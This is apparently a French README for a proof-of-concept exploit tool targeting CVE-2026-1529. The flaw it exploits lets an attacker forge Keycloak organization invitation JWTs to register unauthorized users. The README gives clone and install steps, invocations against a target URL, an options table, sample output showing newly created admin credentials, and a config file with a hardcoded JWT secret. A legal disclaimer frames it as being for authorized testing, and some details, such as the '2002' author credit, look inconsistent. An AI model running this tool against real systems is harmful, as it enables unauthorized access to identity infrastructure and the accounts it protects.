
Outil d'exploitation pour CVE-2026-1529, démontrant l'enregistrement non autorisé d'une organisation dans Keycloak via la manipulation de jetons JWT. Inclut la génération de jetons, la manipulation et l'enregistrement d'utilisateurs avec génération de rapports.
Keycloak : Enregistrement non autorisé d'organisation via une validation incorrecte des jetons d'invitation
Cet outil est destiné uniquement à des fins éducatives et de test de sécurité. Utilisez-le uniquement sur des systèmes pour lesquels vous avez une autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique. Les auteurs de cet outil ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.
Créé par : f3ds cr3w est, 2002
CVE-2026-1529 est une vulnérabilité critique dans Keycloak qui permet l'enregistrement non autorisé d'organisations via une validation incorrecte des jetons d'invitation. Cet outil d'exploitation démontre la vulnérabilité en manipulant les jetons JWT pour enregistrer des utilisateurs dans des organisations non autorisées.
La vulnérabilité existe dans le processus de validation des jetons JWT pour les invitations d'organisation. Les attaquants peuvent manipuler les champs org_id et email dans la charge utile du JWT, ce qui leur permet d'enregistrer des utilisateurs dans n'importe quelle organisation sans autorisation appropriée.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Utilisation standard avec l'URL cible
python keycloak-exploit.py https://target-keycloak.com
# Afficher l'aide
python keycloak-exploit.py -h
# Afficher la version
python keycloak-exploit.py -v
# Utiliser un jeton d'invitation personnalisé
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Utiliser un ID d'organisation personnalisé
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Utiliser un fichier de configuration personnalisé
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Activer la journalisation de débogage
python keycloak-exploit.py -d https://target-keycloak.com
| Option | Description | Requis |
|---|---|---|
target | URL Keycloak cible (IP ou domaine) | Oui |
-t, --token | Jeton d'invitation personnalisé à utiliser | Non |
-o, --org-id | ID d'organisation personnalisé | Non |
-c, --config | Chemin vers le fichier de configuration | Non |
-d, --debug | Activer la journalisation de débogage | Non |
-v, --version | Afficher les informations de version | Non |
-h, --help | Afficher le message d'aide | Non |
Lorsque l'exploitation réussit, vous verrez une sortie comme :
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Si l'exploitation échoue, vous verrez :
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Script d'exploitation principal
├── requirements.txt # Dépendances Python
├── README.md # Ce fichier
├── config/
│ └── default_config.json # Configuration par défaut
├── utils/
│ ├── jwt_utils.py # Utilitaires de manipulation JWT
│ ├── http_utils.py # Utilitaires client HTTP
│ └── crypto_utils.py # Utilitaires cryptographiques
├── output/
│ ├── logs/ # Fichiers journaux
│ └── reports/ # Rapports d'exploitation
L'outil utilise un fichier de configuration par défaut (config/default_config.json) avec les paramètres suivants :
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Vous pouvez créer un fichier de configuration personnalisé et l'utiliser avec l'option -c :
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
L'outil exploite la validation JWT incorrecte en :
org_id pour cibler une organisation différenteemail si nécessaireErreurs de connexion
Erreurs de validation du jeton
org_id, email, invitation_type)Échecs d'enregistrement
Activez la journalisation de débogage pour un dépannage détaillé :
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtL'outil effectue les vérifications suivantes :
L'exploitation est considérée comme réussie si :
Cet outil est fourni uniquement à des fins éducatives et de test de sécurité. Utilisez-le à vos propres risques.
Créé par : f3ds cr3w est, 2002
Contact : Pour toute question ou retour, veuillez vous référer au référentiel du projet.
Rappelez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez cet outil avec sagesse et éthique.
par f3ds cr3w est, 2002